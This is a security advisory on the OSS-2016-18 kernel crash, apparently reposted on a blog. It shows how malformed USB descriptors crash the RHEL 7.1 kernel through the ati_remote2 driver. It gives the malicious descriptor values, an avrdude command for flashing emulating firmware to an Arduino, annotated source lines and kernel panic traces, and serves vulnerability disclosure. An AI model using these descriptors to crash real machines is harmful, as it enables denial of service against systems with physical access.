2016 m. kovo 15 d., antradienis

oss-2016-18: Multiple Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid USB device descriptors (ati_remote2 driver) P1

OS-S Security Advisory 2016-18
Linux ati_remote2 multiple Nullpointer Dereferences

Date: March 4th, 2016
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg
CVE: not yet assigned
CVSS:  4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)
Title: Multiple Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on
invalid USB device descriptors (ati_remote2 driver)
Severity: Critical. The Kernel panics. A reboot is required.
Ease of Exploitation: Trivial
Vulnerability type: Wrong input validation
Products: RHEL 7.1 including all updates
Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the
CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)
Vendor: Red Hat
Vendor contacted: November, 12th 2015
PDF of advisory: https://os-s.net//advisories/OSS-2016-18_ati_remote2.pdf

Abstract:
The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of a buggy USB
device requiring the ati_remote2 driver

Detailed product description:
We confirmed the bug on the following system:
RHEL 7.1
Kernel 3.10.0-229.20.1.el7.x86_64
Further products or kernel versions have not been tested.
How reproducible: Always
Actual results: Kernel crashes.

Description:
These bugs were found using the USB-fuzzing framework vUSBf from Sergej
Schumilo
(github.com/schumilo) using the following device descriptors:

[*] Device-Descriptor #1
  bLength:                      0x12
          bDescriptorType:              0x1
          bcdUSB:                       0x200
          bDeviceClass:                 0xff
          bDeviceSubClass:              0x0
          bDeviceProtocol:              0x0
          bMaxPacketSize:               0x40
          idVendor:                     0x471
          idProduct:                    0x602
          bcdDevice:                    0x100
          iManufacturer:                        0x1
          iProduct:                     0x2
          iSerialNumbers:                       0x3
          bNumConfigurations:           0x1


This is the configuration descriptor containing only one interface descriptor.
The ati_remote2 driver assumes that there will be at least two interface-
descriptors with associated endpoint-descriptors.
Since the ati_remote2 driver is expecting a second interface descriptor, the
driver tries to dereference a null-pointer.
This results in a crash of the system.

The null-pointer dereference happens in usb_driver_claim_interface() because
the ati_remote2 driver passes in the second parameter a null-pointer:

****
$ nm ati_remote2.ko.debug | grep ati_remote2_probe
0000000000001300 t ati_remote2_probe
$ addr2line -e ati_remote2.ko.debug 1399
/usr/src/debug/kernel-3.10.0-
229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_64/drivers/input/misc/ati_remote2.c:825
****

**** CentOS-Kernel linux-3.10.0-229.14.1.el7
(drivers/input/misc/ati_remote2.c)
        ...
820 ar2->intf[0] = interface;
821 ar2->ep[0] = &alt->endpoint[0].desc;
822
823 ar2->intf[1] = usb_ifnum_to_if(udev, 1);  /* <-- usb_ifnum_to_if returns a
null-pointer if there is only one interface configured  */
824 r = usb_driver_claim_interface(&ati_remote2_driver, ar2->intf[1], ar2);
/* the second parameter is obviously a null-pointer which crashes the system
*/
825 if (r)
826     goto fail1;
827 alt = ar2->intf[1]->cur_altsetting;
        ...
****



                [*] Configuration-Descriptor
                  bLength:                      0x9
                  bDescriptorType:              0x2
                  wTotalLength:                 0x27
                  bNumInterfaces:               0x1
                  bConfigurationValue:          0x1
                  iConfiguration:                       0x0
                  bmAttributes:                 0x0
                  bMaxPower:                    0x31
                        [*] Interface-Descriptor
                          bLength:                      0x9
                          bDescriptorType:              0x4
                          bInterfaceNumber:             0x0
                          bAlternateSetting:            0x0
                          bNumEndpoints:                0x0
                          bInterfaceClass:                      0x0
                          bInterfaceSubClass:           0x0
                          bInterfaceProtocol:           0x0


[*] Device-Descriptor #2
  bLength:                      0x12
          bDescriptorType:              0x1
          bcdUSB:                       0x200
          bDeviceClass:                 0xff
          bDeviceSubClass:              0x0
          bDeviceProtocol:              0x0
          bMaxPacketSize:               0x40
          idVendor:                     0x471
          idProduct:                    0x602
          bcdDevice:                    0x100
          iManufacturer:                        0x1
          iProduct:                     0x2
          iSerialNumbers:                       0x3
          bNumConfigurations:           0x1


This is the configuration descriptor containing two interface-descriptors.
The ati_remote2 driver assumes that there will be at least two interface-
descriptors with associated endpoint-descriptors.
If one of them contains a zero-value for bNumEndpoints or no endpoint-
descriptor is configured for the corresponding interface-descriptor, the
ati_remote2 driver tries to dereference a null-pointer and the kernel crashes:

****
$ nm ati_remote2.ko.debug | grep ati_remote2_probe
0000000000001300 t ati_remote2_probe
$ addr2line -e ati_remote2.ko.debug 13ff
/usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_64/drivers/input/misc/ati_remote2.c:646
****

**** CentOS-Kernel linux-3.10.0-229.14.1.el7
(drivers/input/misc/ati_remote2.c)
        ...
632 static int ati_remote2_urb_init(struct ati_remote2 *ar2)
633 {
        ...
646 pipe = usb_rcvintpipe(udev, ar2->ep[i]->bEndpointAddress); /* null-pointer
derference */
647 maxp = usb_maxpacket(udev, pipe, usb_pipeout(pipe));
        ...
820 ar2->intf[0] = interface;
821 ar2->ep[0] = &alt->endpoint[0].desc;   /* <-- possible null-pointer
(interface-0) */
822
823 ar2->intf[1] = usb_ifnum_to_if(udev, 1);
824 r = usb_driver_claim_interface(&ati_remote2_driver, ar2->intf[1], ar2);
825 if (r)
826     goto fail1;
827 alt = ar2->intf[1]->cur_altsetting;
828     ar2->ep[1] = &alt->endpoint[0].desc;   /* <-- possible null-pointer
(interface-1) */
        ...
****


                [*] Configuration-Descriptor
                  bLength:                      0x9
                  bDescriptorType:              0x2
                  wTotalLength:                 0x27
                  bNumInterfaces:               0x1
                  bConfigurationValue:          0x1
                  iConfiguration:                       0x0
                  bmAttributes:                 0x0
                  bMaxPower:                    0x31
                        [*] Interface-Descriptor
                          bLength:                      0x9
                          bDescriptorType:              0x4
                          bInterfaceNumber:             0x0
                          bAlternateSetting:            0x0
                          bNumEndpoints:                0x0  malicious value for interface-0
                          bInterfaceClass:                      0x0
                          bInterfaceSubClass:           0x0
                          bInterfaceProtocol:           0x0
                                [*] Endpoint-Descriptor:
                                  bLength:                      0x7
                                  bDescriptorType:              0x5
                                  bEndpointAddress:             0x81
                                  bmAttribut:                   0x3
                                  wMaxPacketSize:               0x404
                                  bInterval:                    0xc
                        [*] Interface-Descriptor
                          bLength:                      0x9
                          bDescriptorType:              0x4
                          bInterfaceNumber:             0x0
                          bAlternateSetting:            0x0
                          bNumEndpoints:                0x0  malicious value for interface-1
                          bInterfaceClass:                      0x0
                          bInterfaceSubClass:           0x0
                          bInterfaceProtocol:           0x0
                                [*] Endpoint-Descriptor:
                                  bLength:                      0x7
                                  bDescriptorType:              0x5
                                  bEndpointAddress:             0x81
                                  bmAttribut:                   0x3
                                  wMaxPacketSize:               0x404
                                  bInterval:                    0xc



Proof of Concept:
For a proof of concept, we are providing two Arduino Leonardo firmware files.
These firmware files will emulate defective USB devices.


 avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U
flash:w:binary.hex


Firmware files have been attached to this bug report.
To prevent the automated delivery of the payload, a jumper may be used to
connect port D3 and 3V3!

Severity and Ease of Exploitation:
Both vulnerabilities can be easily exploited. Using our Arduino Leonardo
firmware files, only physical access to the system is required.

Vendor Communication:
We contacted Red Hat on the November, 12th 2015.
To this day, no security patches were provided by the vendor.
Since our 90-day Responsible Discourse deadline is expired, we publish this
Security Advisory.

References:
https://bugzilla.redhat.com/show_bug.cgi?id=1283362
https://bugzilla.redhat.com/show_bug.cgi?id=1283363

Kernel Stacktrace #1:

[  869.909147] usb 1-1: config index 0 descriptor too short (expected 27, got
18)
[  869.934680] usb 1-1: New USB device found, idVendor=0471, idProduct=0602
[  869.941501] usb 1-1: New USB device strings: Mfr=1, Product=2,
SerialNumber=3
[  869.949470] usb 1-1: Product: ĉ
[  869.953504] usb 1-1: Manufacturer: ĉ
[  869.957975] usb 1-1: SerialNumber: %
[  869.995183] BUG: unable to handle kernel NULL pointer dereference at
00000000000000c0
[  869.996024] IP: [<ffffffff8141bf4e>] usb_driver_claim_interface+0x1e/0x110
[  869.996024] PGD 0
[  869.996024] Oops: 0000 [#1] SMP
[  869.996024] Modules linked in: ati_remote2(+) ip6t_rpfilter ip6t_REJECT
ipt_REJECT xt_conntrack ebtable_nat ebtable_broute bridge stp llc
ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6
nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter
ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat
nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter
ip_tables bochs_drm ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper
drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs libcrc32c
sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix
libata e1000 floppy dm_mirror dm_region_hash dm_log dm_mod
[  869.996024] CPU: 0 PID: 2243 Comm: systemd-udevd Not tainted
3.10.0-229.14.1.el7.x86_64 #1
[  869.996024] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS
rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014
[  869.996024] task: ffff88000bcfc440 ti: ffff88000afe8000 task.ti: ffff88000afe8000
[  869.996024] RIP: 0010:[<ffffffff8141bf4e>]  [<ffffffff8141bf4e>]
usb_driver_claim_interface+0x1e/0x110
[  869.996024] RSP: 0018:ffff88000afebb60  EFLAGS: 00010286
[  869.996024] RAX: 00000000fffffff0 RBX: 0000000000000000 RCX: 0000000000000000
[  869.996024] RDX: ffff88000c3abc00 RSI: 0000000000000000 RDI: ffffffffa0396080
[  869.996024] RBP: ffff88000afebb90 R08: 0000000000000000 R09: ffff88000e401500
[  869.996024] R10: ffffffffa0394359 R11: ffffffff810020d8 R12: ffff88000f64a188
[  869.996024] R13: ffffffffa03960e8 R14: ffff88000bcd3000 R15: ffff88000c3abc00
[  869.996024] FS:  00007fb8082b4880(0000) GS:ffff88000fc00000(0000)
knlGS:0000000000000000
[  869.996024] CS:  0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[  869.996024] CR2: 00000000000000c0 CR3: 000000000c44c000 CR4:
00000000000006f0
[  869.996024] DR0: 0000000000000000 DR1: 0000000000000000 DR2:
0000000000000000
[  869.996024] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
[  869.996024] Stack:
[  869.996024]  ffffffffa0394359 ffff88000c525800 ffff88000f64a188 ffffffffa03960e8
[  869.996024]  ffff88000bcd3000 ffff88000c3abc00 ffff88000afebbe0 ffffffffa0394399
[  869.996024]  ffff88000afebbe0 ffff88000bcd3000 ffff88000bcd3090 ffff88000bcd3090
[  869.996024] Call Trace:
[  869.996024]  [<ffffffffa0394359>] ? ati_remote2_probe+0x59/0x4ec [ati_remote2]
[  869.996024]  [<ffffffffa0394399>] ati_remote2_probe+0x99/0x4ec [ati_remote2]
[  869.996024]  [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0
[  869.996024]  [<ffffffff813d30d7>] driver_probe_device+0x87/0x390
[  869.996024]  [<ffffffff813d34b3>] __driver_attach+0x93/0xa0
[  869.996024]  [<ffffffff813d3420>] ? __device_attach+0x40/0x40
[  869.996024]  [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0
[  869.996024]  [<ffffffff813d2b2e>] driver_attach+0x1e/0x20
[  869.996024]  [<ffffffff813d2680>] bus_add_driver+0x200/0x2d0
[  869.996024]  [<ffffffff813d3b34>] driver_register+0x64/0xf0
[  869.996024]  [<ffffffff8141c1c2>] usb_register_driver+0x82/0x160
[  869.996024]  [<ffffffffa0399000>] ? 0xffffffffa0398fff
[  869.996024]  [<ffffffffa039901e>] ati_remote2_driver_init+0x1e/0x1000
[ati_remote2]
[  869.996024]  [<ffffffff810020e8>] do_one_initcall+0xb8/0x230
[  869.996024]  [<ffffffff810dd0ee>] load_module+0x133e/0x1b40
[  869.996024]  [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0
[  869.996024]  [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150
[  869.996024]  [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0
[  869.996024]  [<ffffffff81614389>] system_call_fastpath+0x16/0x1b
[  869.996024] Code: c3 66 66 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 55
b8 f0 ff ff ff 48 89 e5 41 57 41 56 41 55 41 54 53 48 89 f3 48 83 ec 08 <48> 83
be c0 00 00 00 00 75 74 48 8b 46 30 4c 8d 76 30 49 89 fd
[  869.996024] RIP  [<ffffffff8141bf4e>] usb_driver_claim_interface+0x1e/0x110
[  869.996024]  RSP <ffff88000afebb60>
[  869.996024] CR2: 00000000000000c0
[  870.442943] ---[ end trace b239663354a1c556 ]---
[  870.448066] Kernel panic - not syncing: Fatal exception
[  870.449016] drm_kms_helper: panic occurred, switching back to text console



Kernel Stacktrace #2:

[   39.447664] usb 1-1: new full-speed USB device number 2 using xhci_hcd
[   39.657384] usb 1-1: config 1 interface 0 altsetting 0 has 1 endpoint
descriptor, different from the interface descriptor's value: 0
[   39.663707] usb 1-1: config 1 interface 1 altsetting 0 has 1 endpoint
descriptor, different from the interface descriptor's value: 0
[   39.705574] usb 1-1: New USB device found, idVendor=0471, idProduct=0602
[   39.712580] usb 1-1: New USB device strings: Mfr=1, Product=2,
SerialNumber=3
[   39.721329] usb 1-1: Product: ĉ
[   39.725410] usb 1-1: Manufacturer: ĉ
[   39.728891] usb 1-1: SerialNumber: %
[   39.794568] BUG: unable to handle kernel NULL pointer dereference at
0000000000000002
[   39.795021] IP: [<ffffffffa03943ff>] ati_remote2_probe+0xff/0x4ec [ati_remote2]
[   39.795021] PGD 0
[   39.795021] Oops: 0000 [#1] SMP
[   39.795021] Modules linked in: ati_remote2(+) ip6t_rpfilter ip6t_REJECT
ipt_REJECT xt_conntrack ebtable_nat ebtable_broute bridge stp llc
ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6
nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter
ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat
nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter
ip_tables bochs_drm ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper
drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs libcrc32c
sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix
libata e1000 floppy dm_mirror dm_region_hash dm_log dm_mod
[   39.795021] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted
3.10.0-229.14.1.el7.x86_64 #1
[   39.795021] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS
rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014
[   39.795021] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000
[   39.795021] RIP: 0010:[<ffffffffa03943ff>]  [<ffffffffa03943ff>]
ati_remote2_probe+0xff/0x4ec [ati_remote2]
[   39.795021] RSP: 0018:ffff88000bd23ba0  EFLAGS: 00010286
[   39.795021] RAX: ffff88000c500c00 RBX: ffff88000c525800 RCX: 0000000000000002
[   39.795021] RDX: 0000000000004a90 RSI: ffff88000c500c00 RDI: 0000000000000000
[   39.795021] RBP: ffff88000bd23be0 R08: 0000000000000000 R09: ffffffff814183da
[   39.795021] R10: ffff88000e401800 R11: ffffffff810020d8 R12: 0000000000000000
[   39.795021] R13: ffff88000bcd0000 R14: ffff88000f050850 R15: ffff88000f050800
[   39.795021] FS:  00007fb8082b4880(0000) GS:ffff88000fc00000(0000)
knlGS:0000000000000000
[   39.795021] CS:  0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[   39.795021] CR2: 0000000000000002 CR3: 000000000d6a6000 CR4:
00000000000006f0
[   39.795021] DR0: 0000000000000000 DR1: 0000000000000000 DR2:
0000000000000000
[   39.795021] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
[   39.795021] Stack:
[   39.795021]  ffff88000bd23be0 ffff88000bcd0000 ffff88000bcd0090 ffff88000bcd0090
[   39.795021]  ffff88000bcd0000 ffffffffa03960e8 ffff88000c525830 ffffffffa03961c0
[   39.795021]  ffff88000bd23c28 ffffffff8141dc04 000000000bd23c00 ffff88000c525800
[   39.795021] Call Trace:
[   39.795021]  [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0
[   39.795021]  [<ffffffff813d30d7>] driver_probe_device+0x87/0x390
[   39.795021]  [<ffffffff813d34b3>] __driver_attach+0x93/0xa0
[   39.795021]  [<ffffffff813d3420>] ? __device_attach+0x40/0x40
[   39.795021]  [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0
[   39.795021]  [<ffffffff813d2b2e>] driver_attach+0x1e/0x20
[   39.795021]  [<ffffffff813d2680>] bus_add_driver+0x200/0x2d0
[   39.795021]  [<ffffffff813d3b34>] driver_register+0x64/0xf0
[   39.795021]  [<ffffffff8141c1c2>] usb_register_driver+0x82/0x160
[   39.795021]  [<ffffffffa0399000>] ? 0xffffffffa0398fff
[   39.795021]  [<ffffffffa039901e>] ati_remote2_driver_init+0x1e/0x1000
[ati_remote2]
[   39.795021]  [<ffffffff810020e8>] do_one_initcall+0xb8/0x230
[   39.795021]  [<ffffffff810dd0ee>] load_module+0x133e/0x1b40
[   39.795021]  [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0
[   39.795021]  [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150
[   39.795021]  [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0
[   39.795021]  [<ffffffff81614389>] system_call_fastpath+0x16/0x1b
[   39.795021] Code: 49 89 46 f0 0f 84 ca 03 00 00 31 ff be d0 00 00 00 e8 d6
3f 08 e1 48 85 c0 49 89 46 e0 0f 84 b1 03 00 00 49 8b 7e d0 41 8b 4d 00 <0f>
b6 57 02 c1 e1 08 c1 e2 0f 81 ca 80 00 00 40 09 ca 89 d1 c1
[   39.795021] RIP  [<ffffffffa03943ff>] ati_remote2_probe+0xff/0x4ec [ati_remote2]
[   39.795021]  RSP <ffff88000bd23ba0>
[   39.795021] CR2: 0000000000000002
[   40.196809] ---[ end trace b239663354a1c556 ]---
[   40.203621] Kernel panic - not syncing: Fatal exception
[   40.204592] drm_kms_helper: panic occurred, switching back to text console



Komentarų nėra:

Rašyti komentarą